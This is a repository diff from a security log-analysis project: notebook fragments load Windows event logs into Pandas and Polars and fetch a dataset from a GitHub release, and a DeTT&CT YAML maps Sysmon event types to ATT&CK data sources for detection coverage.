"1 Registry value set:\\nRuleName: InvDB-Path\\nEve... \n",
|
||||
"2 Registry value set:\\nRuleName: InvDB-Pub\\nEven... \n",
|
||||
"3 Registry value set:\\nRuleName: InvDB-CompileTi... \n",
|
||||
"4 Registry value set:\\nRuleName: InvDB-Ver\\nEven... \n",
|
||||
"... ... \n",
|
||||
"7995 An attempt was made to access an object.\\n\\nSu... \n",
|
||||
"7996 An attempt was made to access an object.\\n\\nSu... \n",
|
||||
"7997 An attempt was made to access an object.\\n\\nSu... \n",
|
||||
"7998 An attempt was made to access an object.\\n\\nSu... \n",
|
||||
"7999 An attempt was made to access an object.\\n\\nSu... \n",
|
||||
"\n",
|
||||
"[8000 rows x 7 columns]\n",
|
||||
"Pandas DataFarme number of rows: 8000\n",
|
||||
"Pandas DataFrame memory usage: 7.56 MB\n"
|
||||
]
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"# Load the JSON file into a Pandas DataFrame\n",
|
||||
"pd_df = pd.read_json(file_path, lines=True)\n",
|
||||
"pd_memory_usage = pd_df.memory_usage(deep=True).sum()\n",
|
||||
"\n",
|
||||
"# Get the number of rows in the Pandas DataFrame\n",
|
||||
"num_rows_pandas = pd_df.shape[0]\n",
|
||||
"\n",
|
||||
"print(pd_df)\n",
|
||||
"\n",
|
||||
"print(f\"Pandas DataFarme number of rows: {num_rows_pandas}\")\n",
|
||||
"print(f\"Pandas DataFrame memory usage: {pd_memory_usage / (1024 ** 2):.2f} MB\")"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "markdown",
|
||||
"id": "04937c37-16b4-4e03-9cf2-ac704e48f60e",
|
||||
"metadata": {},
|
||||
"source": [
|
||||
"# Result\n",
|
||||
"\n",
|
||||
"Polars and Pandas borth processed the same data (8000 rows, categorical data represented as strings).\n",
|
||||
"\n",
|
||||
"Polars needed about 40% less memory. "
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": null,
|
||||
"id": "e910ef56-2f6a-44f6-9db2-62c2aedc9a49",
|
||||
"metadata": {},
|
||||
"outputs": [],
|
||||
"source": []
|
||||
}
|
||||
],
|
||||
"metadata": {
|
||||
"kernelspec": {
|
||||
"display_name": "Python 3 (ipykernel)",
|
||||
"language": "python",
|
||||
"name": "python3"
|
||||
},
|
||||
"language_info": {
|
||||
"codemirror_mode": {
|
||||
"name": "ipython",
|
||||
"version": 3
|
||||
},
|
||||
"file_extension": ".py",
|
||||
"mimetype": "text/x-python",
|
||||
"name": "python",
|
||||
"nbconvert_exporter": "python",
|
||||
"pygments_lexer": "ipython3",
|
||||
"version": "3.11.5"
|
||||
}
|
||||
},
|
||||
"nbformat": 4,
|
||||
"nbformat_minor": 5
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
|
After Width: | Height: | Size: 253 KiB |
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,337 @@
|
||||
version: 1.1
|
||||
file_type: data-source-administration
|
||||
name: new
|
||||
domain: enterprise-attack
|
||||
systems:
|
||||
- applicable_to: Windows workstations
|
||||
platform:
|
||||
- Windows
|
||||
data_sources:
|
||||
- data_source_name: Process Termination
|
||||
data_source:
|
||||
- applicable_to:
|
||||
- Windows workstations
|
||||
date_registered: 2024-06-13T00:00:00.000Z
|
||||
date_connected: 2024-06-13T00:00:00.000Z
|
||||
products:
|
||||
- '5: Process terminated.'
|
||||
available_for_data_analytics: true
|
||||
comment: 'Auto added by Dettectinator. TODO: Check data quality scores, default values used.'
|
||||
data_quality:
|
||||
device_completeness: 1
|
||||
data_field_completeness: 1
|
||||
timeliness: 1
|
||||
consistency: 1
|
||||
retention: 1
|
||||
- data_source_name: Network Connection Creation
|
||||
data_source:
|
||||
- applicable_to:
|
||||
- Windows workstations
|
||||
date_registered: 2024-06-13T00:00:00.000Z
|
||||
date_connected: 2024-06-13T00:00:00.000Z
|
||||
products:
|
||||
- '3: Network connection.'
|
||||
available_for_data_analytics: true
|
||||
comment: 'Auto added by Dettectinator. TODO: Check data quality scores, default values used.'
|
||||
data_quality:
|
||||
device_completeness: 1
|
||||
data_field_completeness: 1
|
||||
timeliness: 1
|
||||
consistency: 1
|
||||
retention: 1
|
||||
- data_source_name: Module Load
|
||||
data_source:
|
||||
- applicable_to:
|
||||
- Windows workstations
|
||||
date_registered: 2024-06-13T00:00:00.000Z
|
||||
date_connected: 2024-06-13T00:00:00.000Z
|
||||
products:
|
||||
- '7: Image loaded.'
|
||||
available_for_data_analytics: true
|
||||
comment: 'Auto added by Dettectinator. TODO: Check data quality scores, default values used.'
|
||||
data_quality:
|
||||
device_completeness: 1
|
||||
data_field_completeness: 1
|
||||
timeliness: 1
|
||||
consistency: 1
|
||||
retention: 1
|
||||
- data_source_name: Windows Registry Key Deletion
|
||||
data_source:
|
||||
- applicable_to:
|
||||
- Windows workstations
|
||||
date_registered: 2024-06-13T00:00:00.000Z
|
||||
date_connected: 2024-06-13T00:00:00.000Z
|
||||
products:
|
||||
- '12: RegistryEvent (Object create and delete).'
|
||||
available_for_data_analytics: true
|
||||
comment: 'Auto added by Dettectinator. TODO: Check data quality scores, default values used.'
|
||||
data_quality:
|
||||
device_completeness: 1
|
||||
data_field_completeness: 1
|
||||
timeliness: 1
|
||||
consistency: 1
|
||||
retention: 1
|
||||
- data_source_name: Command Execution
|
||||
data_source:
|
||||
- applicable_to:
|
||||
- Windows workstations
|
||||
date_registered: 2024-06-13T00:00:00.000Z
|
||||
date_connected: 2024-06-13T00:00:00.000Z
|
||||
products:
|
||||
- '1: Process Creation.'
|
||||
available_for_data_analytics: true
|
||||
comment: 'Auto added by Dettectinator. TODO: Check data quality scores, default values used.'
|
||||
data_quality:
|
||||
device_completeness: 1
|
||||
data_field_completeness: 1
|
||||
timeliness: 1
|
||||
consistency: 1
|
||||
retention: 1
|
||||
- data_source_name: File Deletion
|
||||
data_source:
|
||||
- applicable_to:
|
||||
- Windows workstations
|
||||
date_registered: 2024-06-13T00:00:00.000Z
|
||||
date_connected: 2024-06-13T00:00:00.000Z
|
||||
products:
|
||||
- '23: File Delete archived.'
|
||||
- '26: File Delete logged.'
|
||||
available_for_data_analytics: true
|
||||
comment: 'Auto added by Dettectinator. TODO: Check data quality scores, default values used.'
|
||||
data_quality:
|
||||
device_completeness: 1
|
||||
data_field_completeness: 1
|
||||
timeliness: 1
|
||||
consistency: 1
|
||||
retention: 1
|
||||
- data_source_name: Process Metadata
|
||||
data_source:
|
||||
- applicable_to:
|
||||
- Windows workstations
|
||||
date_registered: 2024-06-13T00:00:00.000Z
|
||||
date_connected: 2024-06-13T00:00:00.000Z
|
||||
products:
|
||||
- '5: Process terminated.'
|
||||
available_for_data_analytics: true
|
||||
comment: 'Auto added by Dettectinator. TODO: Check data quality scores, default values used.'
|
||||
data_quality:
|
||||
device_completeness: 1
|
||||
data_field_completeness: 1
|
||||
timeliness: 1
|
||||
consistency: 1
|
||||
retention: 1
|
||||
- data_source_name: Named Pipe Metadata
|
||||
data_source:
|
||||
- applicable_to:
|
||||
- Windows workstations
|
||||
date_registered: 2024-06-13T00:00:00.000Z
|
||||
date_connected: 2024-06-13T00:00:00.000Z
|
||||
products:
|
||||
- '18: PipeEvent (Pipe Connected).'
|
||||
- '17: PipeEvent (Pipe Created).'
|
||||
available_for_data_analytics: true
|
||||
comment: 'Auto added by Dettectinator. TODO: Check data quality scores, default values used.'
|
||||
data_quality:
|
||||
device_completeness: 1
|
||||
data_field_completeness: 1
|
||||
timeliness: 1
|
||||
consistency: 1
|
||||
retention: 1
|
||||
- data_source_name: Host Status
|
||||
data_source:
|
||||
- applicable_to:
|
||||
- Windows workstations
|
||||
date_registered: 2024-06-13T00:00:00.000Z
|
||||
date_connected: 2024-06-13T00:00:00.000Z
|
||||
products:
|
||||
- '4: Sysmon service state changed.'
|
||||
available_for_data_analytics: true
|
||||
comment: 'Auto added by Dettectinator. TODO: Check data quality scores, default values used.'
|
||||
data_quality:
|
||||
device_completeness: 1
|
||||
data_field_completeness: 1
|
||||
timeliness: 1
|
||||
consistency: 1
|
||||
retention: 1
|
||||
- data_source_name: WMI Creation
|
||||
data_source:
|
||||
- applicable_to:
|
||||
- Windows workstations
|
||||
date_registered: 2024-06-13T00:00:00.000Z
|
||||
date_connected: 2024-06-13T00:00:00.000Z
|
||||
products:
|
||||
- '19: WmiEvent (WmiEventFilter activity detected).'
|
||||
- '20: WmiEvent (WmiEventConsumer activity detected).'
|
||||
- '21: WmiEvent (WmiEventConsumerToFilter activity detected).'
|
||||
available_for_data_analytics: true
|
||||
comment: 'Auto added by Dettectinator. TODO: Check data quality scores, default values used.'
|
||||
data_quality:
|
||||
device_completeness: 1
|
||||
data_field_completeness: 1
|
||||
timeliness: 1
|
||||
consistency: 1
|
||||
retention: 1
|
||||
- data_source_name: Windows Registry Key Creation
|
||||
data_source:
|
||||
- applicable_to:
|
||||
- Windows workstations
|
||||
date_registered: 2024-06-13T00:00:00.000Z
|
||||
date_connected: 2024-06-13T00:00:00.000Z
|
||||
products:
|
||||
- '12: RegistryEvent (Object create and delete).'
|
||||
available_for_data_analytics: true
|
||||
comment: 'Auto added by Dettectinator. TODO: Check data quality scores, default values used.'
|
||||
data_quality:
|
||||
device_completeness: 1
|
||||
data_field_completeness: 1
|
||||
timeliness: 1
|
||||
consistency: 1
|
||||
retention: 1
|
||||
- data_source_name: Service Metadata
|
||||
data_source:
|
||||
- applicable_to:
|
||||
- Windows workstations
|
||||
date_registered: 2024-06-13T00:00:00.000Z
|
||||
date_connected: 2024-06-13T00:00:00.000Z
|
||||
products:
|
||||
- '4: Sysmon service state changed.'
|
||||
available_for_data_analytics: true
|
||||
comment: 'Auto added by Dettectinator. TODO: Check data quality scores, default values used.'
|
||||
data_quality:
|
||||
device_completeness: 1
|
||||
data_field_completeness: 1
|
||||
timeliness: 1
|
||||
consistency: 1
|
||||
retention: 1
|
||||
- data_source_name: Process Access
|
||||
data_source:
|
||||
- applicable_to:
|
||||
- Windows workstations
|
||||
date_registered: 2024-06-13T00:00:00.000Z
|
||||
date_connected: 2024-06-13T00:00:00.000Z
|
||||
products:
|
||||
- '10: Process Access.'
|
||||
- '10: ProcessAccess'
|
||||
available_for_data_analytics: true
|
||||
comment: 'Auto added by Dettectinator. TODO: Check data quality scores, default values used.'
|
||||
data_quality:
|
||||
device_completeness: 1
|
||||
data_field_completeness: 1
|
||||
timeliness: 1
|
||||
consistency: 1
|
||||
retention: 1
|
||||
- data_source_name: Driver Load
|
||||
data_source:
|
||||
- applicable_to:
|
||||
- Windows workstations
|
||||
date_registered: 2024-06-13T00:00:00.000Z
|
||||
date_connected: 2024-06-13T00:00:00.000Z
|
||||
products:
|
||||
- '6: Driver loaded.'
|
||||
available_for_data_analytics: true
|
||||
comment: 'Auto added by Dettectinator. TODO: Check data quality scores, default values used.'
|
||||
data_quality:
|
||||
device_completeness: 1
|
||||
data_field_completeness: 1
|
||||
timeliness: 1
|
||||
consistency: 1
|
||||
retention: 1
|
||||
- data_source_name: Process Modification
|
||||
data_source:
|
||||
- applicable_to:
|
||||
- Windows workstations
|
||||
date_registered: 2024-06-13T00:00:00.000Z
|
||||
date_connected: 2024-06-13T00:00:00.000Z
|
||||
products:
|
||||
- '8: CreateRemoteThread.'
|
||||
available_for_data_analytics: true
|
||||
comment: 'Auto added by Dettectinator. TODO: Check data quality scores, default values used.'
|
||||
data_quality:
|
||||
device_completeness: 1
|
||||
data_field_completeness: 1
|
||||
timeliness: 1
|
||||
consistency: 1
|
||||
retention: 1
|
||||
- data_source_name: Process Creation
|
||||
data_source:
|
||||
- applicable_to:
|
||||
- Windows workstations
|
||||
date_registered: 2024-06-13T00:00:00.000Z
|
||||
date_connected: 2024-06-13T00:00:00.000Z
|
||||
products:
|
||||
- '1: Process Creation.'
|
||||
- '8: CreateRemoteThread.'
|
||||
available_for_data_analytics: true
|
||||
comment: 'Auto added by Dettectinator. TODO: Check data quality scores, default values used.'
|
||||
data_quality:
|
||||
device_completeness: 1
|
||||
data_field_completeness: 1
|
||||
timeliness: 1
|
||||
consistency: 1
|
||||
retention: 1
|
||||
- data_source_name: OS API Execution
|
||||
data_source:
|
||||
- applicable_to:
|
||||
- Windows workstations
|
||||
date_registered: 2024-06-13T00:00:00.000Z
|
||||
date_connected: 2024-06-13T00:00:00.000Z
|
||||
products:
|
||||
- '8: CreateRemoteThread.'
|
||||
available_for_data_analytics: true
|
||||
comment: 'Auto added by Dettectinator. TODO: Check data quality scores, default values used.'
|
||||
data_quality:
|
||||
device_completeness: 1
|
||||
data_field_completeness: 1
|
||||
timeliness: 1
|
||||
consistency: 1
|
||||
retention: 1
|
||||
- data_source_name: File Modification
|
||||
data_source:
|
||||
- applicable_to:
|
||||
- Windows workstations
|
||||
date_registered: 2024-06-13T00:00:00.000Z
|
||||
date_connected: 2024-06-13T00:00:00.000Z
|
||||
products:
|
||||
- '2: A process changed a file creation time.'
|
||||
- '11: FileCreate.'
|
||||
available_for_data_analytics: true
|
||||
comment: 'Auto added by Dettectinator. TODO: Check data quality scores, default values used.'
|
||||
data_quality:
|
||||
device_completeness: 1
|
||||
data_field_completeness: 1
|
||||
timeliness: 1
|
||||
consistency: 1
|
||||
retention: 1
|
||||
- data_source_name: Windows Registry Key Modification
|
||||
data_source:
|
||||
- applicable_to:
|
||||
- Windows workstations
|
||||
date_registered: 2024-06-13T00:00:00.000Z
|
||||
date_connected: 2024-06-13T00:00:00.000Z
|
||||
products:
|
||||
- '13: RegistryEvent (Value Set).'
|
||||
- '14: RegistryEvent (Key and Value Rename).'
|
||||
available_for_data_analytics: true
|
||||
comment: 'Auto added by Dettectinator. TODO: Check data quality scores, default values used.'
|
||||
data_quality:
|
||||
device_completeness: 1
|
||||
data_field_completeness: 1
|
||||
timeliness: 1
|
||||
consistency: 1
|
||||
retention: 1
|
||||
- data_source_name: File Creation
|
||||
data_source:
|
||||
- applicable_to:
|
||||
- Windows workstations
|
||||
date_registered: 2024-06-13T00:00:00.000Z
|
||||
date_connected: 2024-06-13T00:00:00.000Z
|
||||
products:
|
||||
- '11: FileCreate'
|
||||
available_for_data_analytics: true
|
||||
comment: 'Auto added by Dettectinator. TODO: Check data quality scores, default values used.'
|
||||
data_quality:
|
||||
device_completeness: 1
|
||||
data_field_completeness: 1
|
||||
timeliness: 1
|
||||
consistency: 1
|
||||
retention: 1
|
||||
Binary file not shown.
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,270 @@
|
||||
{
|
||||
"cells": [
|
||||
{
|
||||
"cell_type": "markdown",
|
||||
"id": "fa74a82c3dc6db1a",
|
||||
"metadata": {},
|
||||
"source": [
|
||||
"# GitHub for data releases "
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "markdown",
|
||||
"id": "38c6a6b67bd16e42",
|
||||
"metadata": {},
|
||||
"source": [
|
||||
"# Introduction"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 7,
|
||||
"id": "b8b55c9e96c43bc3",
|
||||
"metadata": {
|
||||
"ExecuteTime": {
|
||||
"end_time": "2024-05-07T11:57:54.752360Z",
|
||||
"start_time": "2024-05-07T11:57:51.973091Z"
|
||||
}
|
||||
},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"Requirement already satisfied: python-dotenv in /home/marius/miniconda3/envs/llm_langchain/lib/python3.11/site-packages (1.0.1)\r\n",
|
||||
"Note: you may need to restart the kernel to use updated packages.\n"
|
||||
]
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"%pip install python-dotenv"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 53,
|
||||
"id": "b68da291930fbf4",
|
||||
"metadata": {
|
||||
"ExecuteTime": {
|
||||
"end_time": "2024-05-07T16:43:17.166579Z",
|
||||
"start_time": "2024-05-07T16:43:12.783177Z"
|
||||
}
|
||||
},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"Collecting PyGithub\r\n",
|
||||
" Downloading PyGithub-2.3.0-py3-none-any.whl.metadata (3.8 kB)\r\n",
|
||||
"Collecting pynacl>=1.4.0 (from PyGithub)\r\n",
|
||||
" Using cached PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl.metadata (8.6 kB)\r\n",
|
||||
"Requirement already satisfied: requests>=2.14.0 in /home/marius/miniconda3/envs/llm_langchain/lib/python3.11/site-packages (from PyGithub) (2.31.0)\r\n",
|
||||
"Collecting pyjwt>=2.4.0 (from pyjwt[crypto]>=2.4.0->PyGithub)\r\n",
|
||||
" Downloading PyJWT-2.8.0-py3-none-any.whl.metadata (4.2 kB)\r\n",
|
||||
"Requirement already satisfied: typing-extensions>=4.0.0 in /home/marius/miniconda3/envs/llm_langchain/lib/python3.11/site-packages (from PyGithub) (4.10.0)\r\n",
|
||||
"Requirement already satisfied: urllib3>=1.26.0 in /home/marius/miniconda3/envs/llm_langchain/lib/python3.11/site-packages (from PyGithub) (2.2.1)\r\n",
|
||||
"Requirement already satisfied: Deprecated in /home/marius/miniconda3/envs/llm_langchain/lib/python3.11/site-packages (from PyGithub) (1.2.14)\r\n",
|
||||
"Requirement already satisfied: cryptography>=3.4.0 in /home/marius/miniconda3/envs/llm_langchain/lib/python3.11/site-packages (from pyjwt[crypto]>=2.4.0->PyGithub) (42.0.5)\r\n",
|
||||
"Requirement already satisfied: cffi>=1.4.1 in /home/marius/miniconda3/envs/llm_langchain/lib/python3.11/site-packages (from pynacl>=1.4.0->PyGithub) (1.16.0)\r\n",
|
||||
"Requirement already satisfied: charset-normalizer<4,>=2 in /home/marius/miniconda3/envs/llm_langchain/lib/python3.11/site-packages (from requests>=2.14.0->PyGithub) (3.3.2)\r\n",
|
||||
"Requirement already satisfied: idna<4,>=2.5 in /home/marius/miniconda3/envs/llm_langchain/lib/python3.11/site-packages (from requests>=2.14.0->PyGithub) (3.6)\r\n",
|
||||
"Requirement already satisfied: certifi>=2017.4.17 in /home/marius/miniconda3/envs/llm_langchain/lib/python3.11/site-packages (from requests>=2.14.0->PyGithub) (2024.2.2)\r\n",
|
||||
"Requirement already satisfied: wrapt<2,>=1.10 in /home/marius/miniconda3/envs/llm_langchain/lib/python3.11/site-packages (from Deprecated->PyGithub) (1.16.0)\r\n",
|
||||
"Requirement already satisfied: pycparser in /home/marius/miniconda3/envs/llm_langchain/lib/python3.11/site-packages (from cffi>=1.4.1->pynacl>=1.4.0->PyGithub) (2.21)\r\n",
|
||||
"Downloading PyGithub-2.3.0-py3-none-any.whl (354 kB)\r\n",
|
||||
"\u001b[2K \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m354.4/354.4 kB\u001b[0m \u001b[31m3.6 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m:00:01\u001b[0m\r\n",
|
||||
"\u001b[?25hDownloading PyJWT-2.8.0-py3-none-any.whl (22 kB)\r\n",
|
||||
"Downloading PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl (856 kB)\r\n",
|
||||
"\u001b[2K \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m856.7/856.7 kB\u001b[0m \u001b[31m11.4 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m00:01\u001b[0m\r\n",
|
||||
"\u001b[?25hInstalling collected packages: pyjwt, pynacl, PyGithub\r\n",
|
||||
"Successfully installed PyGithub-2.3.0 pyjwt-2.8.0 pynacl-1.5.0\r\n",
|
||||
"Note: you may need to restart the kernel to use updated packages.\n"
|
||||
]
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"%pip install PyGithub"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 2,
|
||||
"id": "68cdc5d497e208e3",
|
||||
"metadata": {
|
||||
"ExecuteTime": {
|
||||
"end_time": "2024-05-11T16:18:46.000392Z",
|
||||
"start_time": "2024-05-11T16:18:45.992401Z"
|
||||
}
|
||||
},
|
||||
"outputs": [],
|
||||
"source": [
|
||||
"from dotenv import load_dotenv\n",
|
||||
"import os\n",
|
||||
"\n",
|
||||
"load_dotenv(\"thesis_env_ro\", verbose=True) # take environment variables from the file\n",
|
||||
"token = os.getenv('GITHUB_PERSONAL_ACCESS_TOKEN')"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 14,
|
||||
"id": "1069e0bfa4686f67",
|
||||
"metadata": {
|
||||
"ExecuteTime": {
|
||||
"end_time": "2024-05-16T17:44:25.085423Z",
|
||||
"start_time": "2024-05-16T17:44:21.570849Z"
|
||||
}
|
||||
},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"https://api.github.com/repos/norandom/log2ml/releases/assets/168114916\n"
|
||||
]
|
||||
},
|
||||
{
|
||||
"data": {
|
||||
"application/vnd.jupyter.widget-view+json": {
|
||||
"model_id": "5f0622d443bc48728f0e7ed72ebd7fab",
|
||||
"version_major": 2,
|
||||
"version_minor": 0
|
||||
},
|
||||
"text/plain": [
|
||||
" 0%| | 0.00/6.28M [00:00<?, ?iB/s]"
|
||||
]
|
||||
},
|
||||
"metadata": {},
|
||||
"output_type": "display_data"
|
||||
},
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"File downloaded successfully and saved as lab_logs_normal_activity_may_15_2024.csv\n"
|
||||
]
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"from github import Github\n",
|
||||
"import requests\n",
|
||||
"from tqdm.notebook import tqdm\n",
|
||||
"\n",
|
||||
"\n",
|
||||
"def get_specific_file_from_tagged_release(token, repo_name, tag_name, filename):\n",
|
||||
" g = Github(token)\n",
|
||||
" repo = g.get_repo(repo_name)\n",
|
||||
" releases = repo.get_releases()\n",
|
||||
"\n",
|
||||
" for release in releases:\n",
|
||||
" if release.tag_name == tag_name:\n",
|
||||
" for asset in release.get_assets():\n",
|
||||
" if asset.name == filename:\n",
|
||||
" return asset.url\n",
|
||||
" print(\"File not found. Try get_specific_file_from_latest_release() instead.\")\n",
|
||||
" return None\n",
|
||||
"\n",
|
||||
"def get_specific_file_from_latest_release(token, repo_name, filename):\n",
|
||||
" g = Github(token)\n",
|
||||
" repo = g.get_repo(repo_name)\n",
|
||||
" release = repo.get_latest_release()\n",
|
||||
"\n",
|
||||
" for asset in release.get_assets():\n",
|
||||
" if asset.name == filename:\n",
|
||||
" return asset.url # Use asset.url which points to API URL needing headers\n",
|
||||
"\n",
|
||||
"def download_file(url, token, save_path):\n",
|
||||
" headers = {'Authorization': f'token {token}', 'Accept': 'application/octet-stream'}\n",
|
||||
" # First request to handle GitHub's redirection and authentication properly\n",
|
||||
" with requests.get(url, headers=headers, stream=True) as initial_response:\n",
|
||||
" initial_response.raise_for_status() # Ensure the initial request is successful\n",
|
||||
" # Follow redirection if necessary, maintaining headers\n",
|
||||
" if initial_response.history:\n",
|
||||
" url = initial_response.url # Updated URL after redirection\n",
|
||||
"\n",
|
||||
" # Now, proceed with downloading the file\n",
|
||||
" with requests.get(url, headers=headers, stream=True) as response:\n",
|
||||
" response.raise_for_status()\n",
|
||||
" total_size_in_bytes = int(response.headers.get('content-length', 0))\n",
|
||||
" block_size = 1024\n",
|
||||
" \n",
|
||||
" progress_bar = tqdm(total=total_size_in_bytes, unit='iB', unit_scale=True)\n",
|
||||
" with open(save_path, 'wb') as file:\n",
|
||||
" for data in response.iter_content(block_size):\n",
|
||||
" progress_bar.update(len(data))\n",
|
||||
" file.write(data)\n",
|
||||
" progress_bar.close()\n",
|
||||
"\n",
|
||||
" if total_size_in_bytes != 0 and progress_bar.n != total_size_in_bytes:\n",
|
||||
" print(\"ERROR, something went wrong\")\n",
|
||||
" else:\n",
|
||||
" print(f\"File downloaded successfully and saved as {save_path}\")\n",
|
||||
"\n",
|
||||
"# Your GitHub token\n",
|
||||
"github_token = token\n",
|
||||
"\n",
|
||||
"# Repository name\n",
|
||||
"repository_name = \"norandom/log2ml\"\n",
|
||||
"\n",
|
||||
"# File name to search for\n",
|
||||
"file_name = \"lab_logs_normal_activity_may_15_2024.json\"\n",
|
||||
"\n",
|
||||
"# Get the download URL of the specific file\n",
|
||||
"# download_url = get_specific_file_from_latest_release(github_token, repository_name, file_name)\n",
|
||||
"download_url = get_specific_file_from_tagged_release(github_token, repository_name, \"foundations\", file_name)\n",
|
||||
"print(download_url)\n",
|
||||
"\n",
|
||||
"if download_url:\n",
|
||||
" local_file_path = \"lab_logs_normal_activity_may_15_2024.csv\"\n",
|
||||
" download_file(download_url, github_token, local_file_path)\n",
|
||||
"else:\n",
|
||||
" print(\"File not found.\")\n"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 16,
|
||||
"id": "393703bd6e7a693f",
|
||||
"metadata": {
|
||||
"ExecuteTime": {
|
||||
"end_time": "2024-05-16T17:44:33.762701Z",
|
||||
"start_time": "2024-05-16T17:44:33.641528Z"
|
||||
}
|
||||
},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"8000 lab_logs_normal_activity_may_15_2024.csv\r\n"
|
||||
]
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"!wc -l lab_logs_normal_activity_may_15_2024.csv"
|
||||
]
|
||||
}
|
||||
],
|
||||
"metadata": {
|
||||
"kernelspec": {
|
||||
"display_name": "Python 3",
|
||||
"language": "python",
|
||||
"name": "python3"
|
||||
},
|
||||
"language_info": {
|
||||
"codemirror_mode": {
|
||||
"name": "ipython",
|
||||
"version": 2
|
||||
},
|
||||
"file_extension": ".py",
|
||||
"mimetype": "text/x-python",
|
||||
"name": "python",
|
||||
"nbconvert_exporter": "python",
|
||||
"pygments_lexer": "ipython2",
|
||||
"version": "2.7.6"
|
||||
}
|
||||
},
|
||||
"nbformat": 4,
|
||||
"nbformat_minor": 5
|
||||
}
|
||||
@ -0,0 +1,270 @@
|
||||
{
|
||||
"cells": [
|
||||
{
|
||||
"cell_type": "markdown",
|
||||
"id": "fa74a82c3dc6db1a",
|
||||
"metadata": {},
|
||||
"source": [
|
||||
"# GitHub for data releases "
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "markdown",
|
||||
"id": "38c6a6b67bd16e42",
|
||||
"metadata": {},
|
||||
"source": [
|
||||
"# Introduction"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 7,
|
||||
"id": "b8b55c9e96c43bc3",
|
||||
"metadata": {
|
||||
"ExecuteTime": {
|
||||
"end_time": "2024-05-07T11:57:54.752360Z",
|
||||
"start_time": "2024-05-07T11:57:51.973091Z"
|
||||
}
|
||||
},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"Requirement already satisfied: python-dotenv in /home/marius/miniconda3/envs/llm_langchain/lib/python3.11/site-packages (1.0.1)\r\n",
|
||||
"Note: you may need to restart the kernel to use updated packages.\n"
|
||||
]
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"%pip install python-dotenv"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 53,
|
||||
"id": "b68da291930fbf4",
|
||||
"metadata": {
|
||||
"ExecuteTime": {
|
||||
"end_time": "2024-05-07T16:43:17.166579Z",
|
||||
"start_time": "2024-05-07T16:43:12.783177Z"
|
||||
}
|
||||
},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"Collecting PyGithub\r\n",
|
||||
" Downloading PyGithub-2.3.0-py3-none-any.whl.metadata (3.8 kB)\r\n",
|
||||
"Collecting pynacl>=1.4.0 (from PyGithub)\r\n",
|
||||
" Using cached PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl.metadata (8.6 kB)\r\n",
|
||||
"Requirement already satisfied: requests>=2.14.0 in /home/marius/miniconda3/envs/llm_langchain/lib/python3.11/site-packages (from PyGithub) (2.31.0)\r\n",
|
||||
"Collecting pyjwt>=2.4.0 (from pyjwt[crypto]>=2.4.0->PyGithub)\r\n",
|
||||
" Downloading PyJWT-2.8.0-py3-none-any.whl.metadata (4.2 kB)\r\n",
|
||||
"Requirement already satisfied: typing-extensions>=4.0.0 in /home/marius/miniconda3/envs/llm_langchain/lib/python3.11/site-packages (from PyGithub) (4.10.0)\r\n",
|
||||
"Requirement already satisfied: urllib3>=1.26.0 in /home/marius/miniconda3/envs/llm_langchain/lib/python3.11/site-packages (from PyGithub) (2.2.1)\r\n",
|
||||
"Requirement already satisfied: Deprecated in /home/marius/miniconda3/envs/llm_langchain/lib/python3.11/site-packages (from PyGithub) (1.2.14)\r\n",
|
||||
"Requirement already satisfied: cryptography>=3.4.0 in /home/marius/miniconda3/envs/llm_langchain/lib/python3.11/site-packages (from pyjwt[crypto]>=2.4.0->PyGithub) (42.0.5)\r\n",
|
||||
"Requirement already satisfied: cffi>=1.4.1 in /home/marius/miniconda3/envs/llm_langchain/lib/python3.11/site-packages (from pynacl>=1.4.0->PyGithub) (1.16.0)\r\n",
|
||||
